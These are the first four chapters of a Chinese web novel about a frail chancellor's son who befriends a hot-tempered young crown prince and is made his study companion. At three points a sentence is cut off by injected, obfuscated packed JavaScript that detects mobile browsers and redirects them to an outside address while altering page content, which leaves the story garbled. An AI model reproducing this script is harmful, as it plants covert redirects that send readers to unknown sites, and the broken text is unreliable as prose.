《暴躁太子的哭包伴读》 1. 第 1 章 今年的春天来得格外早,冰雪消融、大地回春,一如衍朝风调雨顺,百姓安居乐的景象。 虽已经是春天,但六岁的温黎还穿着袄子,红艳艳的小衣裳像是年画里的娃娃,毛茸茸的领子衬得愈发玉雪可爱。 温黎自小便身体不好,是早产又从娘胎里带出来的弱症,听闻差点儿没能活下来,被右相如珠如宝地捧在手心里养着,被名贵的药材滋润着,才养得这般粉雕玉琢,一团可爱。 今日下午,他随父亲进宫给皇帝背了首诗,被赏了一碟子桂花糕,然后就坐在了屋檐下的秋千上乖乖地等着,小小的一团,与身旁的绿叶红花相得益彰。 漂亮的眼珠子晶亮亮的,常年不见光的皮肤白皙又晶莹剔透,透露着一丝病气,正一眨不眨地盯着地上的小蚂蚁看,然后轻轻地咳嗽了两下。 “小公子该服药了。”随伺的仆从轻声地提醒着,从腰间的荷包里取出来一颗指甲盖那么大的黑色药丸。 温黎抿了抿粉嘟嘟的嘴唇,然后张开嘴巴乖乖地把药吃掉。 药里掺杂了山楂,苦味少了许多,对于自小吃药的温黎已经习惯了,咀嚼完药丸之后,糯糯道:“我想喝水了。” “小公子在这儿待在,奴去去就来。”仆从反复叮嘱着,然后一步三回头地离开。 初春的风还是有些寒凉的,温黎将小脸埋进了毛领里,轻轻地晃着小脚,秋千慢慢地荡了起来。 没多久,晃着快睡着的温黎发现一旁的灌木丛里有细微的声响。 起初是有些害怕的,但紧接着从里头钻出来一只灰白的小狗,养得圆鼓鼓的,跑过来偷摸摸地吃地上的糕点屑。 温黎的眼睛一亮,悄悄地从秋千上滑落了下来,小心翼翼地挪到了小狗面前,生怕吓着他,又掰了一块桂花糕下来,放到了地上。 小狗许是饿久了,也不怕人,叼起一块就狼吞虎咽起来。 “小狗狗,乖乖哦。”温黎壮着胆子伸手去摸小狗。 谁料刚碰到软乎乎的毛,小狗就如同应激一般地蹿了出去,只留下了一个灰白的身影。 “你别跑啊!”温黎急得跺脚,迈着小短腿就跑了出去,手里还捏着一块桂花糕。 温黎追了好一会儿,毛领都跑掉了,累得脸色通红,小口小口地喘着气,等再抬头的时候已经看不见小狗的踪迹了。 周围灌木丛遮掩,石子小路隐蔽其中,树木高耸入云,让人更加看不清前路,温黎这才发现自己迷路了。 温黎漫无目的地小路上走着,一个人影都没有碰到。 这是温黎长这么大第一次来皇宫,庄肃威严的地方本就让人有些害怕,路况复杂且在小孩眼中看起来都一样,心里越来越害怕了,眼睛红红的,嘴巴都抿成了一条线,手里的桂花糕也被捏碎了,散落了一地。 一阵凉风袭来,吹得温黎忍不住打了一个喷嚏,在快要哭出来的时候,终于听到了一树之隔的后面传来了说话声。 “什么废物啊,起来接着打!”一个七八岁的小男孩一拳撂倒了一个身形比他高大不少的少年, 少年躺在地上直叫“哎呦”,五官都疼得扭曲到了一起,这样的少年足足有三个,无一不是脸上手上都有不同的伤口,青一块肿一块的。 而少年却是毫发无损,清秀脸上满是戾气,招呼他们起来,保持着随时准备战斗的姿态。 温黎吓得不小心踩到了树枝子,闻辞猛地一回头,凶狠的目光就跟小狼崽子一样,恨不得一口就咬断猎物的喉管子,就这么直勾勾地盯着外来者看。 从小到大都居于岁月静好、和谐完美世界的温黎哪里见过这样血腥的场面,嘴巴一瘪,小金豆子就开始吧嗒吧嗒地掉了下来。 闻辞蒙了,从哪儿冒出来一个打扮漂亮的小孩儿,跟画里出来一样的小仙子一样,也从未见过这样的小孩,被他吓着了不是赶紧跑,而是愣在原地掉眼泪珠子,甚至有决堤之势。 三个少年趁此机会赶紧溜之大吉,经过温黎身边不小心碰了他一下,瓷娃娃一样的温黎被撞到了,手不小心蹭到了石子上,擦出了伤口,桂花糕全部碎掉,他哭得更难过了。 空气中弥散着甜甜的桂花味儿,从前闻辞只觉得桂花的味道甜腻又浓郁,很讨厌,更不爱吃什么桂花糕,但今天的味道就很好闻,有股清甜淡雅的感觉,令人心情很好,浑身的戾气都散下去不少,甚至不知不觉凑到温黎面前来嗅了嗅。 温丞相的家教极好,自小就教导他要知礼守节,不可与陌生人有肢体接触,若是有人触犯底线要严厉地拒绝,再不听就要狠狠地打回去。 温黎哭得抽抽噎噎着,粉雕玉琢的脸颊都哭得红扑扑的,卷翘的睫毛上挂着晶莹剔透的泪珠,一抬眸,两只大眼睛水汪汪地看着他,“请……请不要靠近我……” 闻辞从未见过漂亮得跟瓷娃娃一样的小孩,脸颊由于哭泣而染上红晕看起来更加可爱,让人沉浸其中压根没有听清他说的什么话。 先礼后兵,温黎也不客气了,直接用力地推了他一把,可这样的力气对闻辞而言简直跟挠痒痒一样,更别说还有一股桂花味往鼻子里钻,哪里顾得上疼。 闻辞抓住了他小孩两只小爪子,“喂,小哭包,你怎么还打人啊,你是谁家小孩?” 温黎虽然既害怕又委屈,但还是有礼貌地自报家门,“我……我是温书礼家的。” “哦,是右相的儿子啊。”温黎左看看右看看,还伸手戳了戳温黎的脸颊,“他那个老古板还能生出这么可爱的儿子?” 温黎一听就急了,急得都忘了哭泣,“你没有礼貌,不许这样说我阿爹。” 虽然能力战三个少年,但到底是个几岁的小孩子,为了自证把手心都翻了出来,“你看,这就是你爹打的,还从来没有人敢打我呢。” 温黎看着上面被板子打出来的几条红痕,还是不相信,“你胡说,我阿爹最温柔了,才不会打人,肯定是你不听话,你是坏人。” “我……我……”闻辞一着急就不知道该怎么说话了,满脸涨红地嘟囔了一声,“反正我不是坏人。” 温黎吸了吸鼻子,抽出小帕子把眼泪擦干净了,奶声奶气又一本正经的样子,“你要听话些,做个乖宝宝,阿爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433052|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会很喜欢你的。” 闻辞向来不喜欢温书礼,总是管教他约束他,可看着和温书礼眉眼相像的瓷娃娃却一点儿都不觉得烦人,也没了刚刚那般盛气凌人,恨不得要把人吃了的模样,反而像犯错了的小孩子一样点了点头,“哦。” 小孩子就是小孩子,害怕来得快去得也快,温黎又是一个坚强的小温黎了,拍了拍衣角想要站起来,脚上传来一阵痛感,眼圈一红嘴巴一瘪又想哭了。 闻辞如临大敌,“怎么了?” 温黎一动不敢动地僵在那儿,眼角的泪珠摇摇欲坠,“脚……脚疼。” 肯定是方才被撞倒的时候不小心扭到了,那个臭小子真是的,走路怎么不看看,把瓷娃娃撞坏了怎么办! “给我看看。”闻辞毫不避讳地上手就要撩温黎的裤脚。 “不要。”温黎条件反射地往后躲了一下,脚一动就更疼了,眼泪珠子直掉,他连忙擦了擦,满脸写着“我很坚强”四个大字。 “你……你怎么扭捏地跟小姑娘一样啊?”闻辞将温黎上下打量了一番。 心想着长得那么好看,保不准真是一个小姑娘啊,温书礼家的究竟是儿子还是女儿来着? 温黎认真地纠正他,“我是男孩子,是阿爹说不可与陌生人太过亲近。” “我们已经认识了,不算是陌生人。” 温黎抿了抿嘴唇,不置可否。 闻辞真是拿老古板生的小古板没有办法,也没和这样的同龄人相处过,烦躁地挠了挠头,正想着该如何是好的时候,就听得两声“汪汪汪”。 “小狗!”温黎肉眼可见地高兴起来,想把手里的桂花糕给小狗吃,但早就碎成渣渣了,只有手心还残留一丝甜味,眼见着小狗又要离开了,雀跃的神色又黯淡了下来。 “肉球,过来。” 闻辞蹲下身伸手“嘬嘬嘬”了两下,小肉球就疯狂地摇着尾巴跑了过去,一个劲儿地舔他的手,十分亲密的模样。 温黎悄悄地挪了过去,慢吞吞地蹲下身,一团孩子气一般地盯着小狗看,眼睛都不眨一下,生怕小狗又跑掉了,“你养的小狗吗?” “嗯。”闻辞拎着小狗的后脖颈把小狗抱进了怀抱,“你喜欢?” “嗯嗯。”温黎用力地点了点头,然后怀里就多了一只小胖狗。 把软乎乎的小狗抱在怀里,温黎终于笑了,整个人都明媚起来,比正午的阳光还要光亮,看起来都是亮晶晶的。 “你养小狗,你是好人。” 好人? 闻辞不禁笑了笑,还从来没有人说他是好人呢。 他撑着脸看着小瓷娃娃,“小哭包,你评判好人坏人的标准也太低了吧。” “好人坏人本就没有明确的规定,我自己能分辨的。”温黎奶声奶气又一本正经地解释着。 同龄的小朋友不是怕他就是厌恶他,都躲得远远的,闻辞已经许久没有和同龄人说过话了,更何况这么漂亮的小娃娃,很难不让人喜欢。 想拐回去。 “我院里还有好几只小狗呢,你要不要去看看?” 2. 第 2 章 听到自家小主子回来,德福连忙整理好自己的着装,挂上对着镜子练习了不知道多少遍的笑容,以达到最完美的状态,欢欢喜喜地站在大殿门口等着。 闻辞是衍朝皇帝闻言殷的独苗苗,其母不详,自出生起就被力排众议立为太子,可谓是被皇帝捧在手心里长大的。 小时候也是一团粉气可可爱爱的,但不知是太过宠爱还是性子使然,自打闻辞能跑能跳开始就是一个混世魔王,到了五岁更是力大无比,殿里的太监侍卫无一不被打过,性格越发的狂躁,连皇帝都敢动手。 闻言殷终于发现了不对劲,让太医院全体会诊,得出结论,自家太子有病! 每个月总有那么几日会发狂症,且没有对症下药的方式,只有将满身戾气发泄干净才能恢复正常,否则就会爆体而亡,这还得了。 没办法,闻言殷只能多养几个皮糙肉厚的汉子供自家太子练手,只要不把人打死就成。 今日是小太子出关的日子,德福自然要以最佳的状态迎接,一瞧见小殿下的身影,他就清了清嗓子,“欢……” 然而再定睛一看,发现自家小殿下的背上有一个穿得喜庆又漂亮的小娃娃,浑身脏兮兮的,总角都乱了,脸上跟哭过一样,红彤彤的,两颊间挂了两道泪痕,显然一副被欺负又委屈的小模样。 “殿下,你这是从哪儿捡回来一个小娃娃啊。”曾经处理过这种事情的德福已经处变不惊,但慢慢地笑容就僵硬了。 不行,完全冷静不了啊,瞧瞧这小娃娃的穿着打扮、这通身气派,一看就是非富且贵人家的,今日进宫的皇亲贵族与大臣都有哪些,稍稍排查一下就知道了,瞧瞧这脸模子,分明就是右相温书礼家的宝贝眼珠子啊! 温黎环抱着闻辞的脖子,露出两只小手手,上面有大大小小的伤口,桂花糕的糖渍都要搓成泥了。 “这这这,是你打的!”德福惊诧地都说不出话来了,宛如天塌了一般。 别人不知道,他还能不知道吗?!温书礼的宝贝儿子,爱妻留下的独苗苗,比皇帝宠太子还要厉害,含在嘴里怕化了捧在手里怕掉了,跟眼珠子一样护着的,要是被发现浑身脏兮兮的,手还破了皮,指不定要怎么闹呢。 当年温黎发了病,高热不退,被院判告知只有千年人参才能吊着命,而所已知的千年人参只有飞龙寨才有,要知道飞龙寨可是杀人不眨眼吃人不放盐的虎狼窝。 他一个文官啊,一夜之间就给人家老巢端了,甚至将飞龙寨主直接招安,见着温书礼就恭恭敬敬、喜笑颜开的。 这些还只是冰山一角,只要为了自家宝贝金疙瘩的安全,在所不惜,要是知道在太子手上受了伤,这这这…… 德福表示:我走的很安详。 “不是……”闻辞把温黎放下来,刚张了张口。 “小殿下,咱们不可以再打小朋友了,您不记得了吗,前年您把大将军家的小儿子打哭了,气得大将军在校场上跟陛下大战三百回合,大前年您把太傅家的小孙子打哭了,太傅他老人家参了您整整三天,大大前年……”德福一一细数着闻辞的种种罪状,各种令人发指的行径加起来整整说上三天三夜都不带停的。 “阿叔阿叔,”温黎高举起手挥了挥,让这个着急忙慌的阿叔能够看见自己,等他的目光停留在自己身上时才认真道:“不是他打的哦,是我不小心摔倒的。” 闻辞耸了耸肩膀,一副“说了不是我”的样子。 德福一下子戛然而止,有些错怪了自家小殿下的心虚,但又暗暗地松了口气,擦了擦额间的汗珠,庆幸着没有闯什么大祸来,不然都不知道要如何处理了。 “去找太医,他脚受伤了。”闻辞将怀里的肉球掏了出来。 “奴才这就去。”德福重新绽放笑容,迈着轻快的步伐去吩咐,还不得不感慨一下今日天气可真好。 偌大的宫宇内除了桌椅以外都是空荡荡的,连个人影都没有,温黎有些拘谨,但想看小狗狗的兴趣劲儿掩盖了这些不安的情绪。 “小狗狗呢?”温黎忍不住问道。 闻辞将笼子拉到了温黎面前,把盖在笼子上的红布掀开,大约有四五只小狗在里头上蹿下跳,活泼地很,随着笼子被打开,一个个争先恐后地跑了出来,肉球从闻辞的怀抱挣脱,混进狗群,和他们打成了一片。 “你怎么养了这么多小狗啊。”温黎蹲下身摸了摸小肉球,小肉球十分捧场地用脑袋蹭了蹭他的手心,软乎乎的。 “等他们长大了,可以组织一支汪汪队,能杀敌能守护家园!”闻辞忽然站得笔直,雄赳赳,气昂昂的模样还真像个小将军。 “可是他们现在还是小狗呢。”小小的一团,只会“汪汪汪”着。 “会长大的,我们也是慢慢长大的。” 德福笑眯眯地端着一盆温水走过来,放在一旁的小凳子上,轻声细语道:“小公子,奴才给您把手手洗洗干净吧。” “好呀,有劳阿叔了。”温黎放下了小狗,乖乖地伸出自己的小脏爪子泡在了水盆里。 “哎呦,您叫奴才德福就好了。”德福的眼睛都笑弯了,心里甜丝丝的。 “手上的糖渍要用胰子好好地搓一搓,”德福轻轻地揉了揉,难得碰到一个粉雕玉琢又漂漂亮亮的小孩子,对比起自家的小魔王简直是小仙子啊,他整个都笼罩着一层柔和的光辉,开始没话找话说,声音都比平时还要夹,“小公子吃的是什么糕点啊,怎么甜甜的。” “桂花糕啊,你闻不到味道吗?”闻辞蹲在地上,任由这几条小狗在他身上爬着舔着,好像他手上有什么好吃的一样。 德福仔细地嗅了嗅,都快把鼻子凑到温黎小手上去了都没有闻到桂花的味道,他只当小殿下是在哄自己,不禁笑了笑。 没一会儿,温黎脏兮兮的小手就变得白嫩了起来,德福给他擦干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433053|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了就开开心心地又去抱小狗。 他还是最喜欢肉球了,胖乎乎圆溜溜的,真是狗如其名,抱着就不想撒手,眼睛亮晶晶地看着闻辞,“我可以把肉球带回家吗?我向你买,可以给你好多好多银子。” 金尊玉贵着养大的温小公子从小不愁吃喝不愁穿戴,但也知道想要某一样东西需要用银钱来买。 “不可以,肉球是我的心头好,有礼貌的小孩不可以这样。” 虽然瓷娃娃很漂亮可爱,可是肉球也很可爱啊。 见闻辞不愿意,温黎也没有强求,只是越发的舍不得了,嘟囔了一句,“我才不是没礼貌的小孩子呢,我只是在和你商量。” 德福看着温黎这小可怜模样儿,心软得一塌糊涂,蹲在他面前柔声道:“小公子若是真喜欢便让温大人捉几只回家养着便是了,像肉球这样的小狗没有一千也有一百只了。” “可是肉球是独一无二的。” “那你可以经常进宫来看肉球啊。” “真的吗?”温黎的双眸亮了又亮,但还是表现得十分得体,“我还得先和阿爹商量一下。” 对了,阿爹呢? 温黎笑容一僵,这才想起来自己好像忘记的事情是什么了。 他的阿爹呢? 阿爹丢了…… 温黎连忙跑到门口,东看看西看看,连阿爹的影子都没有瞧见,又失魂落魄的回来,漂亮的小脸蛋儿都白了,抖着嘴唇,颤着声音道:“我……我阿爹呢?” 闻辞看着他这副欲哭不哭的小模样,简直是如临大敌。 果然下一刻,温黎就哭了出来,眼泪珠子吧嗒吧嗒地掉,都沾湿了一小片衣襟了。 闻辞笨拙地要给温黎擦眼泪,可又想到人家不喜欢和人接触,抬起的手放下又抬起,只能围着他打转不知所措。 “您瞧瞧老奴能扮大象呢!”德福将拂尘顶在鼻子上甩来甩去,还伴随着大象的叫声,任谁见了都感觉滑稽得想笑。 可温黎的眼睛被泪水糊着了,眼前雾蒙蒙的一片,什么都看不见,眼睫挂着晶莹剔透的泪珠,小鼻子小脸儿都红彤彤的,一副小可怜儿的模样。 从未哄过这样小孩的德福真真是束手无策,一副老腰都弯得够呛了,不止地锤了锤,赶紧跑到殿门口让小太监小宫女们通通出去找温大人。 瓷娃娃看着不大,泪水却多得很,再见不着温书礼,怕是能把整个东宫给淹了。 “别哭了,小哭包。”闻辞连忙把憨厚老实的肉球抱过来,像是找到了救命稻草,“我把肉球送给你。” 肉球吐着舌头在温黎脸上舔了一口,把泪水都舔掉了,许是感觉太咸了连打了好几个喷嚏,口水都喷到温黎脸上了。 “我……我不要,阿爹说君子……君子不夺人之所好,”温黎擦了擦脸,又抽抽搭搭地哭着,一提到阿爹就哭得更加伤心了,“呜呜呜,我……我要阿爹……” 3. 第 3 章 哄累了的德福和闻辞坐在大殿的门槛上,耳朵里都塞了一团棉花,撑着脸。 闻辞掏了掏耳朵又重新塞上,“他怎么哭不够啊?” “小公子年岁小,怕是第一次离开温大人呢,自然是伤心又委屈的。”德福耐心地解释着。 一个才六岁的小娃娃身边哪里能离得开人呢,特别是温黎这样从小就是被温书礼带大的,更加依赖自己的父亲了。 可闻辞还是不理解,“我要是离父皇远远的,我会特别高兴的。”这样就没有人能管他了,怎么反而哭呢。 “殿下这话可不能在陛下面前说,他会不高兴的。”德福再次苦口婆心地叮嘱着。 闻辞“哼哼”了两声,也不知道有没有听得进去。 “殿下不是最讨厌别人哭得的呢,记得从前襄王府的小世子哭了,您把一整块糕点全塞进了他的嘴巴,差点儿没把小世子噎死。”德福总觉得哪里不对劲,这么一说是终于知道了,怎么自家小太子的脾气忽然变好了,没有一点不耐烦的样子呢。 闻辞别开脸,嘟囔了两声,“切,他是小孩,我才不跟他计较呢。” 德福嘴角不禁抽了抽,那时候的小世子可比温小公子的年纪还小呢,也不见着这样啊。 “太医怎么还没来啊?”闻辞抬起头张望了两下。 “殿下,您已经问了三遍了,这才半炷香的时间,怕是快来了。”德福掏了掏耳朵。 “哦。”他又低了下去。 过了没一会儿,又道:“怎么声音变小了。” 闻辞又抬起头,把耳朵里的棉花拿掉了,确实是听不到什么声音了。 德福怕出了什么事,连忙爬起来跑去殿内,发现温黎已经抱着肉球睡在了软榻上,小脸儿红扑扑的,脸上的泪痕更加明显了,长长的眼睫上都挂着泪珠,嘴巴微微张着,小口小口地呼吸,德福还处于小公子只是睡着了的庆幸中,都没有注意到他呼吸有些急促。 而小肉球耷拉着脑袋,身上的毛都被泪水浸得湿乎乎的了,哼哼唧唧着,睁着一双狗狗眼求助似的看着闻辞。 闻辞只当看不见,紧紧地盯着温黎的脸看,察觉到他呼吸声略微有些沉重,刚张了张口,门外就嘈杂了起来。 “阿黎!阿黎!”温书礼一个箭步就冲了进来,发冠跑乱了都顾不得整理一二,一瞧见小温黎就将他抱了起来,满脸的慌张与担忧,剩下的还有失而复得的喜悦。 但很快温书礼发现了不对劲,温黎浑身滚烫,呼吸声都沉重而急促起来,还伴随着一两次暂停,吓得他魂飞魄散,这样的状态他太熟悉了,好像两年前快夭折一般。 温书礼解开了温黎衣襟的两颗盘扣,呼吸稍微畅快了一些,又给他喂了一颗药丸,但药效起作用没有那么快。 温黎难受地拧紧了眉头,泪水无意识地从眼角滑落,嘴巴微张着,喊着“阿爹阿爹”,简直要把人的心都叫软了。 闻辞看着温黎这副模样,整个人都愣住了,在一旁不知所措。 一向温润如玉的温书礼处于即将崩溃的边缘,双目赤红着,将温黎紧紧抱在怀里,“阿爹在阿爹在,没事的乖宝,阿爹这就带你回家。” 闻言殷紧随其后地赶了过来,一瞧温书礼的状态就有些不对劲,“书礼,你别着急,先让院判瞧瞧,阿黎这样子也不能太过颠簸的。” 温书礼这才恢复了一些理智,将小小的温黎放在软榻上,让紧随而来的院判诊治,并吩咐人将府里给温黎看病的大夫找来。 院判火急火燎地跟随而来,拨开人群就开始诊脉,面色越来越凝重,“回陛下、太子殿下、温大人、小公子患有热哮症,身子底差,又连连受惊吓,心悸不安才会如此。” 闻言殷连忙问道:“如何治理?” “回陛下……” “好了,别整那些虚的了,说重点!”闻言殷不耐烦他这套虚礼。 “以麻黄二钱、白果二钱、桑白皮二钱……煎煮服用,可以调节一二,但小公子体带热毒,需得用凉水擦身,同时要保持周边温暖,不可失温,必须还要含着参片……”院判擦了擦汗,事无巨细地说着,每一个注意事项都说清楚了。 “快快,下去煎药!赶紧准备!”闻言殷催促着,生怕再耽误下去更加严重,转头又对温书礼道:“你别担心,阿黎不会有事的。” 温书礼用衣袖给温黎细细地擦去鬓角的汗珠,满脸惶恐与担忧,声音都有些颤抖,“上一次也是这样,我差点失去了阿黎。” “之前是没有千年人参,这两年来,朕命人寻访遍地,找到了不少千年人参,哪怕是当药丸吃也够阿黎吃一辈子了。” “臣只有阿黎这一个孩子,他是臣的心肝。”温书礼不知该如何是好了,只是无助地握着温黎的手。 闻言殷看见了温黎手上细小的伤口,“朕知道,朕都知道。” 同样为人父母,闻言殷岂会不知其中滋味,当初知道闻辞有病的时候,他觉得天都要塌了。 大夫以最快的速度赶了过来,气还没有喘匀就被闻辞拉着给温黎诊脉,结果与院判如出一辙,但由于更熟悉温黎的病理,又往药里多添了两味药材。 冷水被送了进来,纱幔通通拉上,周围燃起了火炉,等温度升起来后,温书礼解开了温黎的衣裳,将衣服全部脱掉,一遍又一遍地擦拭着他的身体。 趁此机会,闻言殷将一直看着温黎的闻辞拽到了大殿门口,“是不是你欺负阿黎了!他身上的伤是不是你干的!” “我……”闻辞一阵莫名其妙。 “你什么你!你能不能让朕省点心,阿黎身体本就不好,哪里经得起你折腾,朕的苦心都快白费了!” 不分青红皂白就是一顿劈头盖脸的责备让闻辞彻底闭口不言。 德福连忙出来打圆场,“陛下,您误会了,这次小殿下真的什么都没做,小殿下您快说句话啊。” 闻辞甩开了德福的手,倔强地瞪着闻言殷,破罐子破摔道:“就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433054|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我干的,那又怎么了,我就欺负他了!”吼完就跑掉了。 冷静下来的闻言殷也知道是自己刚刚的语气太重了,但又拉不下脸来去道歉,不禁扶了扶额,“帮朕给阿辞道个歉吧。” “陛下言重了。”德福点头哈腰地应下。 纱幔内,温黎的体温终于降了下来,呼吸渐渐平稳,所有人都松了一口气。 大夫再次号了号脉象,道:“大人,切不可移动小公子,更不能吹风受寒,只能在此休养直到好起来为止。” 压在温书礼心头上的巨石这才落了下来,有些疲惫不堪,轻轻地抚了抚温黎的额头,“知道了。” 温书礼在这里熬了一天一夜,支撑不住趴在床边睡着了。 过了一会儿,闻辞从纱幔外探进来一颗小脑袋,目光锁定在床上,紧紧地盯着那一点儿大的小人看。 “他的脸红扑扑的。”闻辞轻声道。 “因为生病了。” “会死吗?” “……不会。” “我从来不生病。” “嗯,殿下像小牛犊子一样。”德福只是没明说,小太子发起病来十头牛都拉不回来,只是每次他自己都不记得。 “是他太弱了,他要好好锻炼身体。” “小公子身体不好,经不起折腾的。” “哦。” 闻辞瘪了瘪嘴巴,“你真讨厌,你让父皇又骂我了。” 德福张了张嘴巴,想要说什么,还未开口就听得闻辞又道:“但我还是希望你快点好起来。” 温黎的眼睫毛轻轻地颤动了一下,紧接着就睁开了眼睛,整个人还有些没有恢复神智,眼珠子转在了一圈,最终停留在了闻辞脸上。 闻辞欢喜得都不知道该说什么好了,甚至忘了躲藏,想要冲进去。 但温黎一动,温书礼就醒了,德福连忙一把将闻辞拉了出去。 温书礼的眼圈瞬间一红,“阿黎,感觉怎么样?还有哪里不舒服的地方吗?” “阿爹……”温黎缓缓地叫了一声,声音有些沙哑,还是有气无力的样子,“我想喝水……” 温书礼连忙将温着的水端过来,一勺一勺地喂着小温黎喝。 有了温水的浸润,温黎这才觉得好受了许多,“我又犯病了吗?” “嗯。” “对不起,我总是让阿爹难过……”温黎伸出手紧紧地拉着阿爹的手指,眼睛倏地红了起来。 “是阿爹不好,没有给阿黎一个健康的身体,也没有照顾好阿黎。”温书礼时常会陷入自责的情绪,温黎不管是受伤还是生病,他都会愧疚难受不已。 小小的温黎不懂阿爹的情绪,但他能够体会到阿爹很伤心,于是冲着阿爹扯出了一个笑容,“没有哦,阿爹是这个世界上最好的阿爹,是阿黎自己不争气,但其实阿黎一点都不痛的。” 温书礼的心真的很痛,痛温黎的懂事,痛老天不公让他年幼的孩子要遭受这样的折磨。 4. 第 4 章 温黎躺了整整三日才得以起身,身上还有些烫,但已经没什么大碍,只是整个人还是没什么精神的样子,寝衣穿在身上都显得空荡荡的,脸色苍白毫无血色,唯有嘴唇还有一丝粉意,不然就是真的瓷娃娃了。 闻辞趁父皇将温书礼叫去说话的功夫才悄悄地溜进了幔帐。 温黎正在喝药,黑糊糊的药液,散发着令人难以忍受的苦味儿,秀气的眉头都拧到了一起,但还是把乖乖地把一碗都喝掉了,又吃了一颗桂花糖解解嘴里的苦味。 “怎么喝得下的啊……”闻辞看了看那碗里的黑药渣,忽然感觉这药在自己嘴里一样,连舌尖都是苦的。 温黎将嘴里的桂花糖咬碎了,桂花的香气盈满了整个口腔,与药的清苦交织在一起,渐渐地盖过了苦味,习以为常道:“我生病了,要喝很多药。” “你真厉害,我可喝不下这些。”闻辞坐在床边扯下了挂在腰间的布袋子,从里头倒出了许多稀奇古怪的小玩意儿,有捶丸,有草编的蝈蝈,有九连环……“你天天窝在这里,怕是憋闷的很,这些都是我最喜欢的东西,都给你了,解解闷。” 温黎苍白的小脸儿似乎一点点的有了神采,选中了一只竹蜻蜓,轻轻地转动了一下,竹蜻蜓飞了起来。 穿过他所难以逾越的纱幔,穿过他难以跨越的门槛,飞到外面。 温黎静静地看着,直到竹蜻蜓的身影消失在眼前,“我好想去放风筝,阿爹说风筝飞得越高,烦恼就会随飞而散。” “等你好了,我带你去。”闻辞隐隐地有股兴奋劲儿,他从来没有和同龄玩伴,原来有个小伙伴是很令人高兴的事情。 温黎浅浅地笑了笑,然后拿起了九连环,他不太会玩这类玩具,解了半天才解开了一个扣子。 “你弄这里。”闻辞凑近了一些,过来帮温黎一起解,然而不小心手指被划破了一个小口子,冒出了几滴血珠。 “你……你没事吧。”温黎瞪大了眼睛,紧张道。 闻辞没觉得有什么,放进嘴巴里含了含。 温黎连忙拿出帕子,拿出帕子给他擦了擦,“不可以放进嘴巴里的,要好好止血。” 闻辞的耳尖红了红,悄悄地把帕子攥进了手心里,“哦。” 忽然,温黎嗅到了一股很好闻的气味,是从闻辞身上散发出来的,虽然十分平淡,但夹杂着一丝甜味与木质香气,令人平心静气,忍不住想要靠近。 不知不觉间就凑到了闻辞的面前,气味更浓郁了一些,像是茯苓茶。 “你身上好香啊,用的什么熏香?”温黎好奇地看着闻辞。 温黎的眼睛很亮,从他的双眸中能看见自己的倒影,长而卷翘的睫毛轻轻地扇动着,像是小蝴蝶的翅膀一样。 闻辞有些不自在地挥了挥手,声音陡然大了起来,“我才不用熏香呢,娘们唧唧的!” 温黎垂下了眼眸,小蝴蝶失落地停留了下来,看着自己的手指头出神,语气嗡嗡的,带着些许鼻音,“我要熏香的,我不喜欢苦味,可是我是男孩子。” 从小到大都要喝药,是泡在药罐子长大的,那股药材独有的清苦味儿好像渗进了骨子里,所以不管是沐浴还是穿衣,他都要香,盖住了药味才好。 “是我不喜欢熏香。”闻辞揉了揉鼻子,又凑到了温黎面前嗅了嗅,“你身上有桂花味,甜甜的,很好闻。” “那是桂花糖的味道。” “那不一样。”桂花糖是甜腻,而温黎身上的是清甜,可是小小的闻辞词语匮乏,根本说不出来,挠了挠脑袋,“反正就是很好闻。” 温黎自己嗅了嗅,并没有闻出有什么不一样之处,又把注意力放在九连环上,没一会儿就又泄气了,抬头张望了一下,“我阿爹怎么还不回来啊?” 勤政殿内。 “书礼,朕瞧阿黎这孩子小小年纪知书达理、文质彬彬、性子谦和温吞又早慧,”闻言殷说了一堆赞扬温黎的好话,倏地话锋一转,“和朕的那个小霸王简直是天壤之别,若有阿黎在旁边做个榜样,朕想太子也会有所改变,所以朕想让阿黎给阿辞当伴读,同吃同住。” 温书礼立刻起身跪下推脱,“陛下,臣的儿子自小就没有离开过臣的身边,天下温吞聪慧的孩子千千万,不是非得是臣的阿黎。” “天下的孩子岂能与阿黎相比。”抛去一切不谈,闻言殷是真心喜欢温黎那孩子,说什么都得让温黎当自家小魔王的伴读。 闻言殷没个正形样蹲在了温书礼面前,动之以情晓之以理,“朕这孩子自小就没有母亲。” “臣的阿黎也没有母亲。” “……” “朕这孩子自小就有怪病。” “臣的阿黎身子也不好。” “……” 闻言殷嘴角都不禁抽了抽,猛地站起来大手一挥,“不提,这些都不提!” 然而站得实在是太猛了,脑子昏沉了片刻,腿脚都踉跄了几步,扶着龙椅才站稳了,不至于摔个底朝天,然后坐在龙椅上撑着脑袋长吁短叹。 